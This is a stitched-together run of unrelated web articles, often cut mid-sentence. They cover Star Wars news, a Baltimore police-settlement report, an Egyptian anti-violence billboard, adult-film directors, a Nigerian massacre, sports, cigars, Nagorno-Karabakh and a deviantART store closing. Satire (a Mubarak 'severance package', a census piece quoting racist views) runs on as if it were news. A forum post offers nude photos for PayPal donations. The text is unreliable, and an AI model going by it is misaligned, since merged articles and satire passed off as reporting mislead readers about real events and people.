it’s likely that they won’t get into Ahsoka’s continuing story until the tail end of the show, but this is at least interesting food for thought. Grant has been a fan of Star Wars for as long as he can remember, having seen every movie on the big screen. When he’s not hard at work with his college studies, he keeps himself busy by reporting on all kinds of Star Wars news for SWNN and general movie news on the sister site, Movie News Net. He served as a frequent commentator on SWNN’s The Resistance Broadcast. Click HERE to check out and comment on this topic in our forum The CantinaBaltimore officials will begin this month posting the outcomes of all civil lawsuits alleging police brutality and will reconsider their policy of requiring plaintiffs to keep silent after settlements are reached — part of a series of changes made in response to a six-month Baltimore Sun investigation of police misconduct. City Solicitor George Nilson, who enacted the new policy regarding police settlements and court judgments, said officials also would seek to provide increased training for officers who are most often cited in lawsuits. The moves would give the public more information about the lawsuits, he said Thursday, adding, "I want to end the thinking that we're hiding the ball, because we're not." Nilson said the moves were made in response to The Sun investigation, which showed the city has paid about $5.7 million since 2011 over lawsuits alleging police brutality and other misconduct. The U.S. Justice Department has since begun a review of the Baltimore Police Department. The investigation revealed that police leaders, city attorneys and other top officials were not keeping track of officers who repeatedly faced such allegations. Meanwhile, judges or prosecutors cleared nearly all of those alleging misconduct of criminal charges in the incidents that led to the lawsuits with the highest payouts. The Sun's investigation also showed that city policies helped shield the scope and impact of alleged police brutality from the public. For example, settlement agreements include a clause that prohibits injured residents from making any public statement — or talking to the news media — about the incidents. After the investigation was published, some members of the City Council said they weren't aware the problem was so widespread. Some prominent area defense attorneys said Thursday that the nondisclosure clause included in settlement agreements should be eliminated. Someone who violates that clause risks losing part of the monetary settlement. Last month, for example, the city withheld $31,500 from a woman who had posted online comments about an incident; that was about half of her settlement. Amy Davis / Baltimore Sun Baltimore City Solicitor George Nilson answers questions during a 2013 public hearing. Baltimore City Solicitor George Nilson answers questions during a 2013 public hearing. (Amy Davis / Baltimore Sun) A. Dwight Pettit, who frequently represents plaintiffs in lawsuits against police officers, says it appears the city is trying to be more transparent, but he questioned the substance of the changes. The city needs to eliminate the nondisclosure clauses, he said. "That's a suppression of First Amendment rights," he said. "I don't see any reason for that. That's continued intimidation." Bryan A. Levitt, who also has represented plaintiffs in such lawsuits, agreed. "That would be real transparency in government," he said. "There is no reason to keep it a secret. The only reason to do so is self-serving. It establishes a wall between the public and public servants." Nilson said the online database, which will note the outcome of lawsuits as court decisions and settlements are reached, will allow the public to have a fuller understanding of how often the city wins or loses cases. The database will not include cases already settled, but their outcomes will be available upon request, he added. In about 70 percent of such lawsuits, the city wins or settles for less than $10,000, he said. "I'm proud of our record, frankly," Nilson said. "I intend to make sure our wins are robustly posted." The database will contain summaries of excessive-force lawsuits, similar to the information presented to the Board of Estimates. Some have criticized those summaries because they often omit accusations of police brutality, but city officials argue that many allegations are unfounded. The city spending panel, controlled by the mayor, must approve all expenditures greater than $25,000. The excessive-force database will include all cases, no matter the size of the settlement, Nilson said. As part of the new policy, Nilson said, a representative of the Police Department will be invited to attend meetings at which city lawyers discuss whether to settle a case, and officers in need of further training will meet one-on-one with city lawyers. One example of a "teachable moment," he said, might be the case of an officer who doesn't buckle in a suspect while being transported, then gets in an accident, injuring the suspect. Or an officer who tries to move an injured man without calling for medical help. City lawyers can offer advice on ways to avoid lawsuits, he said. Nilson said city lawyers would also research nondisclosure clauses in other cities to see whether Baltimore's policies are "fair and consistent with best practices." Mayor Stephanie Rawlings-Blake said she has pushed to make Baltimore's government more transparent since taking office in 2010, including creating the Open Baltimore website, where city salaries, liquor licenses, crime data and other sets of information are routinely posted. "I was really perplexed that so many elected officials said they had no idea the city has been making these settlements," Rawlings-Blake said. "I want to make sure the public and elected officials have this information. Now there's no excuse for not knowing." The issue of police brutality has been a prominent topic in the city recently. On Monday, the City Council overwhelmingly gave preliminary approval to a bill to require all of Baltimore's nearly 3,000 police officers to wear body cameras — despite arguments from the mayor's office that the bill is illegal. City Councilman Warren Branch, the lead sponsor of the two-page bill, said residents of his district repeatedly asked him to have police wear the cameras to cut down on brutality. As reasons for the proposed law, he has cited questions surrounding the in-custody death last year of Tyrone West and a recent video showing an officer repeatedly punching a suspect, among other cases. In October, Rawlings-Blake and Police Commissioner Anthony W. Batts presented a plan to reduce police brutality, calling for increased staff in the Internal Affairs Division, which handles allegations of misconduct, and giving Batts wider authority to quickly punish rogue officers. The plan included the creation of a task force to study the implementation of body cameras. The Justice Department is in the early stages of conducting its review of the department, an examination made at the request of the mayor and police commissioner. lbroadwater@baltsun.com twitter.com/lukebroadwaterFP7/CAI and UN Women teamed up to create some remarkable violence against women billboards campaign on 6th of October Bridge in Cairo. They used lights on/off to portrait how the cycle of violence never ends if people choose to remain silent. In the morning the ad seems plain and simple, only featuring a portrait of a girl and a simple message “once upon a time, a princess fell in love with a prince. Do you know this story?”. A story we’re all familiar with. At night, the billboard lights up revealing bruises and scars that were printed on the back of the ad and are only visible when back-lit, turning the girl into a violence victim. The rest of the message also appears “once upon a time, a princess fell in love with a prince. Do you know this story? Violence against women is a crime punishable by law. Speak Up” This ad is a manifestation of real life. Just like the ad will keep lighting on and off everyday, the cycle of violence never ends if people choose to remain silent. Said Marwan Younis, Creative Director, FP7/CAI on Facebook. Stay tuned for the TV & Radio ads.CAIRO—In an effort to provide monetary compensation to the Egyptian president for three decades of faithful service, U.S. officials opened negotiations with Hosni Mubarak Tuesday, offering him a severance package worth $20 million upon termination of his employment. "We are all thankful for the hard work and long hours President Mubarak put in over the years, and hope our discussions continue smoothly," said senior U.S. negotiator Frank Wisner, who admitted that the final settlement would have to be considerable, as Mubarak's contract with the U.S. was being terminated 15 years early. "Unfortunately, he no longer reflects our needs in the region at this time, but we would like to end our relationship on the right foot. He deserves to retire in comfort." Secretary of State Hillary Clinton has also reportedly offered to write Mubarak a letter of recommendation in case he wishes to apply for any dictatorship jobs with U.S. allies in the future. AdvertisementAdult cinema pioneer Radley Metzger is the subject of a new retrospective at the Film Society of Lincoln Center through August 13. This Is Softcore: The Art Cinema Erotica of Radley Metzger explores the New York City sexploitation director’s colorful career as an erotica auteur and his crossover into the hardcore porn industry. We feature more on Metzger, below — along with a few other “conventional” filmmakers who made the jump into adult cinema. Radley Metzger Metzger has always considered himself “a filmmaker, full stop,” but the New York City director’s career trajectory from film editor to distributor and adult cinema pioneer is fascinating. World cinema distributor Janus Films employed Metzger as an editor, where he refined the dubbing for …And God Created Woman and cut trailers for a variety of renowned foreign art films — including the movies of Ingmar Bergman. In 1958, Metzger co-directed his debut feature, Dark Odyssey, about a Greek immigrant trying to survive the concrete jungle of New York City. The New York Times called it a “fresh, economical approach to an ancient dramaturgical formula.” Hoping to cash in on Europe’s sexploitation canon in 1960’s America, Metzger began importing and distributing erotica (The Fast Set, The Twilight Girls, I, a Woman), which led to his sexploitation directorial debut — 1965’s The Dirty Girls. Metzger’s take on the genre was slick, sexy, and glamorous — productions that felt closer to art films or high-fashion photo shoots than smut. The locations were exotic, the women seductive, and Metzger’s compositions striking — but the filmmaker never veered away from controversial subjects. With the ‘70s came an era of porno chic, and Metzger’s softcore style wasn’t bold enough for moviegoers lining the streets to see Deep Throat in theaters. He entered the hardcore porn industry under the pseudonym “Henry Paris” and directed successful films such as The Opening of Misty Beethoven and The Private Afternoons of Pamela Mann with the same glossy style and elevated production. Who else would make a porn flick based on George Bernard Shaw’s play, Pygmalion? Doris Wishman Following her graduation from Hunter College, Doris Wishman tried to break into the acting business, but got married instead. After her husband passed away, she wanted “something to fill [her] hours with.” She had experience as a movie booker, and cinema flowed through her veins. Wishman’s cousin Max Rosenberg was one of the founders of famed British horror studio Amicus Productions (a Hammer Films competitor). She soon latched onto a lucrative formula. Thinly veiled films about nudist communities in the 1930s were promoted as “documentaries,” skirting obscenity laws. The genre saw a resurgence in the 1950s, and Wishman helped bring it into the ‘60s. She was the only female director making “nudie-cutie” movies at the time, writing, producing, and editing most of her films (Diary of a Nudist, Gentlemen Prefer Nature Girls, Playgirls International, and more). Girls frolicking in the sun eventually gave way to Wishman’s sexploitation period (directed under the pseudonym “Louis Silverman” — one of many aliases). “Those movies featured Wishman’s quirky style that utilized bizarre cutaways to ashtrays, lamps and squirrels and suggestive lesbian subplots.” Several of the sleazy melodramas starred busty starlet Chesty Morgan, famous for her 73-inch bosom. Continuing to push boundaries, Wishman worked with former porn star and sex worker activist Annie Sprinkle in the hardcore films Satan Was a Lady and Come With Me, My Love. She also created a documentary-drama about the transgender community, 1978’s Let Me Die a Woman. After an unsuccessful attempt to join the slasher film craze of the 1980s with A Night to Dismember (starring porn actress Samantha Fox), Wishman fell into semi-obscurity — but the home video market introduced new audiences to her work and established Wishman as a cult/exploitation icon. Gary Graver Prolific filmmaker Gary Graver collaborated as a cinematographer with Orson Welles (F is for Fake, The Orson Welles Show, The Other Side of the Wind), B-movie king Roger Corman, and Ron Howard, but he led a double life as a pornographer. Directing over 100 hardcore films under the pseudonym “Robert McCallum,” (many of them deemed classics) Graver worked with the esteemed Welles on his 1975 hardcore feature 3 A.M. The movie features a lesbian shower scene edited by the Citizen Kane director. AVN’s Mark Kernes stated that Graver’s “legacy in the adult industry is on a par with the bulk of his Hollywood accomplishments.” Graver was inducted into AVN’s Hall of Fame. John Derek John Derek was married to some of the most beautiful women in the world (Bond girl Ursula Andress included), had a successful acting career (he uttered the famous quote “Live fast, die young, leave a good-looking corpse” in 1949’s Knock on Any Door), and made a porn film with his wife, the actress and sex symbol Bo Derek. When money got tough, and Derek’s mainstream directorial efforts weren’t footing the bill, he made a hardcore movie, 1979’s Love You. The film starred legendary adult film actress Annette Haven. Wife Bo reportedly produced the movie and “was constantly on the set with the four porn stars as her husband’s consultant.” Joe D’Amato It’s really no surprise that prolific Italian sleazemeister Joe D’Amato directed a number of hardcore pornos, having made a name for himself in the exploitation genre. D’Amato was always fast to turn a buck, capitalizing on cinema’s most popular, giving them a gory and sordid edge. But before he was banking on the success of bigger films, interpreting the softcore classic Emmanuelle and copying his horror brethren, he was working as a cinematographer for various well-respected filmmakers like Massimo Dallamano. Before and during his porn phase, D’Amato directed movies in almost every genre, honing his skills as a producer, watching the cash roll in. His hardcore period mixed social satire (vague at best), horror, and detestable subjects (see: Porno Holocaust), but D’Amato was one of the only porn filmmakers who shot on 35mm well into the 1990s. Lars von Trier Dogme 95 filmmaker Lars von Trier hasn’t directed a hardcore feature, but his production studio Zentropa became the first mainstream film company to produce hardcore porn in 1998. Created with a female audience in mind, Zentropa’s Constance, Pink Prison, and About Anna inspired a wave of feminist pornography and helped the push to legalize porn in Norway. The industry has also offered some solace from the media frenzy around his European art house career controversies. “I want to be surrounded by porn people who love me for what I am, who say, ‘Where do you want the erection, where do you want the penetration.’ Where it’s not complicated,” the director stated in 2011, following backlash for his “Hitler” comment. “There wouldn’t be a porn star running out there saying ‘Lars said this or Lars said that.’” Ray Dennis Steckler Z-grade schlockster and low-budget indie icon Ray Dennis Steckler wins for the longest list of pseudonyms used by a moviemaker, including his porn moniker “Cindy Lou Sutters.” Ray is famous for trash cult classics like The Incredibly Strange Creatures Who Stopped Living and Became Mixed-Up Zombies, which featured camerawork from celebrated cinematographers Joseph V. Mascelli, Vilmos Zsigmond, and László Kovács. Naturally, one of his hardcore features includes a rip-off of the golden age porno classic Debbie Does Dallas, titled Debbie Does Las Vegas. Abel Ferrara The Guardian on iconic exploitation filmmaker Abel Ferrara’s real first feature film: In Britain, he is regarded as a sensationalist lowlife whose films rely on gratuitous nudity, drug use and violence. His official debut, The Driller Killer, was actually his second movie. The first, Nine Lives of a Wet Pussy, was straightforward porn, starring his girlfriend, her friends and a hired cast of studs, one of whom had difficulty rising to the occasion. “It’s bad enough paying a guy $200 to fuck your girlfriend, then he can’t get it up,” Ferrara says. The crew drew lots, and he lost, thus making his first appearance in front of the camera.The fate of future Fantastic Four movies was left up in the air after the performance - both critical and commercial (thus far) - of director Josh Trank's Fantastic Four reboot. The studio had already earmarked a date for a Fantastic Four 2, which is due in the summer of 2017. But as the new movie struggles to find an audience, there's been inevitable speculation that the studio may scrap that plan. A day or two ago, Fox confirmed however that it was committed to the Fantastic Four characters, and those hoping that the studio would surrender the rights back to Marvel are likely to be disappointed. Instead, according to Hitfix, there are still plans for Fantastic Four 2. As the site writes, "everything I've heard would indicate that the studio will move forward with a Fantastic Four sequel. It may not make that original 2017 date, but they're definitely planning to make it". It will come as little surprise that Josh Trank is unlikely to return to make the next film, but Hitfix also notes that "his signature will remain on the next film no matter who writes and directs it". It adds that "the next movie will be a reaction to this one". We still suspect that Fox may opt to buy itself some breathing space with Fantastic Four by somehow wrapping the characters into the X-Men cinematic universe in some kind of crossover. But that's rampant speculation on our part. More on Fantastic Four 2 as we hear it... Hitfix. Follow our Twitter feed for faster news and bad jokes right here. And be our Facebook chum here.This article is over 5 years old Official says attackers gouged out eyes of some survivors of raid on Dumba village Islamist extremists have been accused of cutting the throats of 44 villagers in continuing attacks in an Islamic uprising in north-east Nigeria. An official from the National Emergency Management Agency said on Saturday the attackers hit Dumba village in Borno state before dawn on Tuesday. He said the method of killing was to avoid gunfire which could attract security forces. He said the attackers gouged out the eyes of some of the survivors. Dumba is near the fishing village of Baga, where security forces gunned down 187 civilians in March in retaliation for an attack by extremists. It is difficult to get information from the area, which is under a state of emergency with mobile phone and internet services cut. Borno is one of three north-eastern states under a state of emergency declared on 14 May to crack down on the Boko Haram terrorist network. Since 2010 more than 1,700 people have been killed in attacks by Islamist insurgents, according to an Associated Press count.Kevin Gutzman, best-selling author and expert on American Constitutional history, discusses the 14th Amendment and the Incorporation Doctrine, how the doctrine has given us government by judiciary instead of government by representation, the Due Process clause, Substantive Protections vs. Due Procedure, the original intent of the 14th Amendment, how the courts changed that meaning over the ensuing five decades, the Bill of Rights as a limitation on the power of Congress, how the incorporation doctrine has turned the principles of federalism on its head, representative government vs. government by “experts” Privileges or Immunities and The Slaughter-House Cases,
one I most like to ponder is that this kind of event mixes all kinds of people in a fun environment. People who for socio-economic or other reasons may not tend to mingle. The video I’m posting below gives a good run down of the history of open streets (or cyclovia) as well as many of the benefits. The event starts at 1:00 PM and is relatively brief, ending just three hours later. There is no entrance or exit – you may enter or exit from any point along the way. Park at either end – in the Old City or Happy Holler – or on side streets off Central anywhere along the way. It’s important that we have a massive number of people. We want to demonstrate that Knoxville is ready for this and that next time – which is already under discussion for 2016 – the route will need to be much longer to accommodate the crowds. In Bogata, Columbia these events happen every Sunday, all day and include seventy-five miles of closed streets and highways! And about 30% of the population of the city takes part. So, the city has stepped forward. The next move is ours. Show up rain or shine – seriously, rain or shine. Have fun, exercise, meet new people. You want to be able to say you were there at the beginning of something very special. Get the latest updates and “like” the Open Streets Facebook Page, and tell them you are coming on the Open Streets Event Page. Find much greater detail on the Open Streets Webpage.Honorable Mention #1 The Starship Creator series Honorable Mention #2 Starfleet Command 2: Community Edition Star Trek has been a staple of video games almost from the beginning of the medium. So it's no surprise that there's a huge list of Star Trek video games out there, with output peaking in the 1990's, a time when producing games was a whole lot cheaper because everything was a lot less sophisticated. But as Trek game production slowed to a trickle due to legal disputes and bad decisions, many Trek gamers have been looking to the past to get their fix. One problem with playing 20+ year old games is the fact that a lot of them are subpar on the technical front and often technologically incompatible with newer systems (including PCs). And to make things worse, the oldest games aren't all that friendly to those who don't have the manuals or can't handle the extreme levels of micromanagement that some of these games involve. But with HD remakes being all the rage these days, now seems like a good time to revamp games that many Trekkers might not be familiar with. So here are 7 Star Trek games that deserve a chance to see the light of day in HD.More of a simulation than a game, the Starship creator series gave Trek fans an opportunity to design their own custom versions of iconic starships, customize their internals, crew them with numerous Trek characters or custom characters of their own making, and send them on missions to test the ships' abilities. Sadly, what sounds awesome on paper didn't make for an exciting piece of software. A limited amount of ships, almost all Federation except for the Klingon Bird of Prey included in Warp II, an economy driven building system that require grinding through missions for money, and a terrible mission system that boiled down to watching dots and icons moving around sucked all the life out of the game. In an ironic twist of fate, Star Trek Online's ship customization replicates the ship design elements of Starship Creator with a larger selection of ships and options (including color customization). The only real difference is that there's none of the in-depth internal customization that Starship Creator had. Unfortunately, the only way to use this is to actually play STO, which probably isn't ideal for anyone who hates MMOs and/or free-to-play games.The Starfleet Command (SFC) series of starship combat games is heavily based on the Starfleet Battles tabletop games (aka Star Trek: Every Ship Has Planet Destroying Firepower). With two Original Series movie era games and Next Generation era one that received, SFC was one of the bigger subfranchises in Trek gaming before Activision sued Paramount and killed Trek gaming for a few years. But in one of the most astounding and incomprehensible turns in video game history, a non-profit organization known as the Dynaverse Gaming Association obtained the rights to the entire series, including the rare SFC3 (which isn't sold on their site). One of their major projects, which recently reached completion after eight years of development, was Starfleet Command 2: Community Edition. While not a legitimate HD remaster, it did revamp the technical underpinnings of the game, making it fully compatible with modern Windows operating systems. While the game still looks oddly outdated and is horrifically complex to control for newcomers, it's a great gift to an old, loyal fanbase that has managed to last through the years.Broncos general manager John Elway wants Peyton Manning back for another playoff run in 2015. Where does Elway turn, though, if Manning decides to hang up his spikes this offseason? The Broncos have been planning for that eventuality since the 2012 NFL Draft, when they selected Brock Osweiler in the second round. "I can tell you from sources inside the Broncos organization, this is a guy they feel very good about," NFL Media Insider Ian Rapoport reported on NFL Network on Tuesday. "The reviews internally on Brock Osweiler are high, so if Peyton Manning does not come back, they do feel confident that they have a quarterback who can step in and have some level of success in there after Peyton Manning, whenever he does decide to retire." It's to be expected that the personnel department responsible for drafting Osweiler still harbors strong feelings about his potential. In 12 preseason games and a few regular-season mop-up appearances, the 6-foot-8 Osweiler has completed 100 of 170 passes (58.8 percent) for 1,089 yards (6.4 yards per attempt) and a four-to-five touchdown-to-interception ratio. Like many inexperienced quarterbacks, he has struggled at times to read defenses. The Broncos can bolster a young signal-caller's chances of success by re-signing free agents Demaryius Thomas and Julius Thomas to go with an increasingly robust rushing attack. From what we have seen of Osweiler on Game Rewind, though, the offense would suffer a substantial decline in the transition from one of the all-time greats to a relative unknown. The latest Around The NFL Podcast recaps every Divisional Round game and ranks the remaining quarterbacks still standing. Find more Around The NFL content on NFL NOW.With NHL teams already seeking the Red Wings’ permission to speak with Grand Rapids coach Jeff Blashill, the Detroit club is in no position — or mood — to let negotiations with Mike Babcock drag into a second week. Blashill, whose Griffins play a series-deciding fifth game against Toronto tonight in the first round of the Calder Cup playoffs, is the Wings’ Plan B. There is no Plan C. Plan A, of course is to re-sign Babcock to a multi-year contract that will make him the highest-paid coach in the National Hockey League, probably between $4 million and $5 million. He and General Manager Ken Holland planned to begin a serious conversation about that today on the drive to Grand Rapids for Game 5. Two hours there, two hours back. That’s a fair amount of time to ask and answer a few basic questions in a conversation that begins something like this: "Mike, do you want to stay in Detroit? And if you do, how much money is it going to take and for how long?" After talking things out with his wife, as he vowed to do before discussing it seriously with Holland, those questions should be fairly easy to answer — and the curtain could fall quickly on this drama, one way or another. As with any unrestricted free agent, it ultimately comes down to money and term. But if Babcock tries to play this out more than a week or so to explore his options if he’s curious — and who could blame him? — then don’t be surprised if the Wings decide to part ways. And Blashill will be the next coach in Detroit. "Much beyond that and it becomes a burden," Wings Senior Vice President Jim Devellano said Sunday. "There are other people involved in this, like Jeff Blashill. People want to talk with him. We like Jeff. He’s been a good soldier for us. And if Mike stays with us in Detroit, we want Jeff to go to the NHL where he belongs." Both Babcock and Holland said Friday they hope they can figure this out within 10 days or so. Both men profess to respect one another professionally and like one another personally. In fact, both say their friendship is strong and real. Babcock’s name has been linked to numerous teams with coaching vacancies, including Toronto, Philadelphia, San Jose and Buffalo; and to some teams who still have coaches but might be willing to part ways with them for a chance to acquire Babcock if he becomes available. Those teams include Edmonton and Boston. One thing Babcock made perfectly clear in his exit interview with reporters on Friday, however, is that he has no interest taking on the general manager’s duties as well. "I’m part of making decisions here," he said. "I have no skill set to be a general manager... I’m a coach. I love to coach. I love the players. I love the competition. I love being close to the ice. I love what I do, and I think I’m good at it. I have no interest in sitting where Kenny sits at all." A lot of us have been predicting that Babcock ultimately will decide that he’s ready for a new challenge elsewhere — and the smart money around the league is sticking with that. But he sure sounded like a coach who was leaning toward staying in Detroit, or at least knowing what he’ll be leaving behind if he goes. "I’m flattered. I really am," he said. "I’ve been here for 10 years, and they’ve been fantastic. My kids have grown up here. The Ilitch family has looked after me. We’ve had a great run as a team. "I’m proud of what we’ve done here, and I’m proud of my relationship with our (team) leaders, with the ownership and with the general manager. "Kenny and I, we’re good friends — and we don’t like losing," Babcock continued. "Our owner expects you to be successful, and I love that. You’re supposed to win here. You’re not supposed to be out at the end of April." So the plan — whatever it was Babcock had in mind — was set, serious talks began Sunday and it will be over soon, one way or another. "I’m not letting this go on forever," Babcock said, "and neither is Kenny."Alec Bradley’s green cigar is returning to shops for 2014 with an aged wrapper. The Alec Bradley Black Market Filthy Hooligan is much the same as last year’s release: a candela cigar with filler tobaccos from Nicaragua, Honduras and Panama and a double binder of Honduran and Nicaraguan origins. The major difference this year is that the Nicaraguan candela wrapper has a year of age on it, which company founder Alan Rubin says changes the flavor profile. There’s a high level of sweetness to it,” Rubin told Cigar Aficionado, “and what happens over time is that off flavors like grassiness go away. So I think it’s a sweeter, less grassy flavor than last year.” Rubin already wanted to bring back the candela, and he says he heard a lot of requests from others that wanted it back too. “A lot of people, they were asking for it to be carried throughout the year. Almost every event I do, I get someone asking ‘when you gonna bring back Hooligan?’ It became what a cigar is, which is a talking piece—a bonding piece.” The grass-green color of a candela wrapper is achieved by a 72-hour heat-curing process that fixes the chlorophyll content of the wrapper while it’s still in the barn. After the leaf and stems have been thoroughly cured and the chlorophyll locked in, the green leaf then gets re-humidified. The intense heat curing eliminates the need for fermentation and aging, cutting months and even years off the typical process. As with many candelas that come to market, the Filthy Hooligan was a limited release project for the St. Patrick’s Day holiday. It debuted last year in a limited production of just 3,000 boxes and came in just one size: a 6 inch by 50 ring Toro. This year’s release still comes in green boxes of 22 cigars that carry a suggested retail price of $8. The 3,000-box batch will ship the week of February 17th.Some 100,000 ethnic Armenians are voting on a new name for their territory and new powers for their leader on Monday (20 February) in the crosshairs of Azerbaijan’s artillery and missiles. The referendum, in what used to be called the Republic of Nagorno-Karabakh, but what is likely to be called the Republic of Artsakh after the vote, comes in reaction to Azerbaijan’s military assault last April, which claimed between 50 and 350 lives on both sides. Stepanakert market - residents export produce via Armenia and rely on Armenian disapora remittances (Photo: Marco Fieber) The conflict, which dates back to the break-up of the Soviet Union, and which sees almost daily exchanges of fire on the line of contact, has the potential to quickly escalate into a fight between Armenia, Nagorno-Karabakh’s neighbour and sponsor, and Azerbaijan. Armenia and Azerbaijan are both negotiating new treaties with the EU as part of its Eastern Partnership policy to build closer ties with former Soviet states. But if the conflict escalates, with missiles striking Yerevan and Baku, that policy would be in tatters, with thousands of refugees instead fleeing to Europe. It would disrupt Azerbaijan’s oil exports to the EU and plans to build a new gas pipeline, reducing dependence on Russia. It could also draw in Russia, which has a treaty obligation to defend Armenia, Nato member Turkey, which has pledged to side with Azerbaijan, and Iran, which does not want to see Azerbaijan extend control over its northern border and exert more influence over the ethnic Azeri population in Iran’s northern regions. This story is the first in a series of features by EUobserver that will examine the issues and look at the lives of ethnic Armenians in a situation which some believe is leading “inevitably” to Europe’s next war. ’We exist’ “It’s not because they don’t recognise us, that we don’t exist,” said an official in Nagorno-Karabakh’s “foreign ministry” in its capital, Stepanakert, on Sunday, while pointing out electoral districts on a map of the mountainous region the size of Luxembourg. Nagorno-Karabakh split from Azerbaijan in a war in the early 1990s that cost up to 30,000 lives and displaced more than 1 million people in Armenia and Azerbaijan. It ended with Armenian forces occupying Nagorno-Karabakh and seven other districts in Azerbaijan which it has held on to as a buffer zone. Various peace plans, mediated by the so-called Minsk Group, which is composed of French, Russian, and US diplomats, have come and gone over the years. No other country has so far recognised Nagorno-Karabakh, with both the Minsk Group and the EU routinely issuing statements that its elections and referendums have no meaning. Its government, which has unofficial contacts with EU diplomats, says that the international community could be more constructive. “They could, at least, acknowledge our efforts to create a democratic way of life while maintaining neutrality on the status issue,” a government source told EUobserver on Sunday. The authorities also mistrust Russia, which has sold billions of euros of arms to Azerbaijan, some of which were used in last April’s four-day war. The sense of isolation has prompted the “republic” to rely on its own resources and on Armenia to try to safeguard its future. Artsakh claim Monday’s referendum is to alter the constitution, giving its president the power to take swift decisions on security issues and changing its name from Nagorno-Karabakh, a mixture of Russian and Turkic words, to Artsakh, an old Armenian word that implies a wider territorial claim not just to the republic, but also to the other seven occupied regions of Azerbaijan. It is a direct reaction to the shock of Azerbaijan’s surprise attack last year. It is also a reaction to Azerbaijan’s years-long military build-up and to increasing war rhetoric by Azerbaijan’s leader, Ilham Aliyev. In a sign of the growing hostility in Baku, Aliyev, already four years ago, cancelled one of the only initiatives that tried to build bridges between people on both sides. Irina Gzigozian, a Nagorno-Karabakh resident, who started the Public Diplomacy Initiative, an NGO, told EUobserver on Sunday that she used to bring together women from Nagorno-Karabakh and Azerbaijan to “exchange stories” in neutral places, such as Cyprus or Georgia. She spoke of one Azeri “girl” who went to Tbilisi and who initially voiced “hatred,” but who “ended up singing Armenian songs.” That all ended in 2013 by Aliyev’s order. In today’s climate, Gzigozian said, people in Azerbaijan decline to take part even in Facebook discussions for fear of being caught by Aliyev’s internet police. Tevan Poghosyan, an Armenian MP, believes that last April’s attack was prompted by Aliyev’s need to shore up his authority amid falling oil prices and a slump in Azerbaijan’s currency, the manat, which aggravated poverty in the Muslim petro-dictatorship. He said in Yerevan on Saturday that without international intervention war was “inevitable” and that it was likely to happen in 2018, when Aliyev will try to hold on to power in presidential elections amid falling popularity. Provocation? Srbuhi Arzumanian, the head of Nagorno-Karabakh’s electoral commission, told press on Sunday that 102,757 people out of the republic’s 147,000 strong population were eligible to cast a ballot. She noted that Nagorno-Karabakh has already held two referendums and 11 other elections in its 26-year long history. She said that 104 monitors from more than 30 countries, including three MEPs, would oversee the process. She also promised that people who fled from Talish, a village destroyed by Azerbaijan last April, would get the chance to vote. Arzumanian added that there was just one complaint in the last election - a demand for a recount in one district which upheld the original tally. One of the international monitors, Hans-Jochen Schmidt, Germany’s former ambassador to Armenia, told EUobserver on Monday: “Almost everybody outside Nagorno-Karabakh considers this [the referendum] as an illegitimate act, so they are trying very hard to make sure that it lives up to international standards.” “Of course, Azerbaijan will consider it as a provocation. They even consider elections here as provocations,” he added. Hans-Juergen Zahorka, another monitor who is a German former MEP, said that the show of democracy in Nagorno-Karabakh poses a challenge to Aliyev ahead of his own elections next year. “For many Azerbaijanis, this referendum is an example of opportunities that they will never have under their current system,” he said, referring to Aliyev’s increasingly totalitarian rule.Store Closing Sale After 8 years of artistic adventure, deviantART's T-Shirts & Gear Shop (formerly deviantWEAR) has decided to close its doors. It has been an amazing ride. Seeing hundreds of concepts through to full production, developing the brand hand-in-hand with the community, listening to all of the feedback, and designing to suit our deviants' dynamic tastes has been an honor. We have genuinely enjoyed sharing our concepts, workflow, designs, and final products with you. We would like to thank all of you for your support, heartfelt commentary, and constant tide of love and deviousness. It was certainly a labor of love to produce the brand for deviants around the globe. Unfortunately, the practicalities of business have encouraged us to move into a different chapter. It is with a heavy heart that we bring you this news, but now is your chance to take a physical piece of deviantART home. We don't plan on restocking, so grab your bit of deviously artistic history before it's gone! Donate to my paypal for DeviantART Sale? I turns out that Deviantart is ending there store and i would love to have a few items before i could never get them again. Im asking if you could donate something to me on my paypal? Everybody who donates i will email them my newest cosplay photoshoot from my best nude model. There is 229 photos in this photo set. IF you are interested plz inbox me. Thank you"Like most Christians, my family and I can truly say that we're excited about the soon return of Jesus" Duck Dynasty reality star Willie Robertson is taking his star power to the movie business. The A&E star has signed on as an executive producer of upcoming Nicolas Cage starrer Left Behind. Robertson, who has starred on the reality show about duck hunters, is featured in a new video on the faith-based film's Facebook page, revealing that he was a "silent" partner on the project. "Like most Christians, my family and I can truly say that we're excited about the soon return of Jesus," he says. "And I'm sure if you've been watching the news lately, you know that that return could be any day now." The film, based on the book series of the same name by Jerry B. Jenkins and Tim LaHaye, follows Rayford Steele (Cage) who is piloting a plane during the Rapture when millions of people around the globe simply vanish. On the ground, his daughter, Chloe Steele (Cassi Thomson) is among those left behind, forced to navigate a world of madness as she searches for her lost mother and brother. "I believe people are going to make that life-changing decision to follow Christ on the way home from the theater," adds Robertson in the video. Vic Armstrong directed the film, which hits theaters Oct. 3. Co-written by John Patus and Paul Lalonde, who is also producing alongside Michael Walker and Ed Clydesdale of Stoney Lake Entertainment, the film also stars Chad Michael Murray, Nicky Whelan, Quinton Aaron and Jordin Sparks.PARANOID TEABAGGERS WON'T ANSWER CENSUS By Colleen Smith, Staff Reporter Since the beginning of civilization itself, nations have needed to know who lives inside their borders. The United States is no exception, and has always taken a census every ten years. As the Constitution says in Article I, Section 2 Clause 3: The actual Enumeration shall be made within three Years after the first Meeting of the Congress of the United States, and within every subsequent Term of ten Years, in such Manner as they shall by Law direct. In spite of this, an alarming number are treating the census as if it were something new and unwelcome. Many are refusing to answer, especially those in the right wing tea party movement, dubbed "teabaggers" by their critics. I tried to find out just why they were so afraid of the census, a task that two of my colleagues could not complete. The teabaggers would not talk to Naven Jones, a freelance journalist who frequently works with The Uncoveror, because he is African-American. They also objected to the questions my fellow staff reporter Ben Radstein asked. I guess they found me less threatening. I spoke to Billy Joe Mumford about the census, and he said, "I'll never answer the dang thing. Barack Hussein Obama and all the Jews, Muslims and blacks in Washington are making a list of who and where all the white Christians are. It's a conspiracy! It's all right there in his name. Barack is a Jewish name. Hussein is a Muslim Arab name, and Obama is African!" I told him that census forms did not even ask religion, but he did not believe a word of it, so I didn't try to argue. I then spoke to Mildred Baines, who also was angry. "I don't know where those clowns in Washington get off claiming they need to know all this stuff all the sudden. I'm not going to tell them I am white so they can decide I am too rich, and raise my taxes for more welfare! We need to get back to the good old days." I told her that the census is done every ten years, and is nothing new. She responded, "Didn't those godless commies in the Soviet Union have ten year plans? That is what it sounds like to me." There are problems when people refuse to answer. If enough people are not counted, an area could lose its Congressman as well as federal funding for 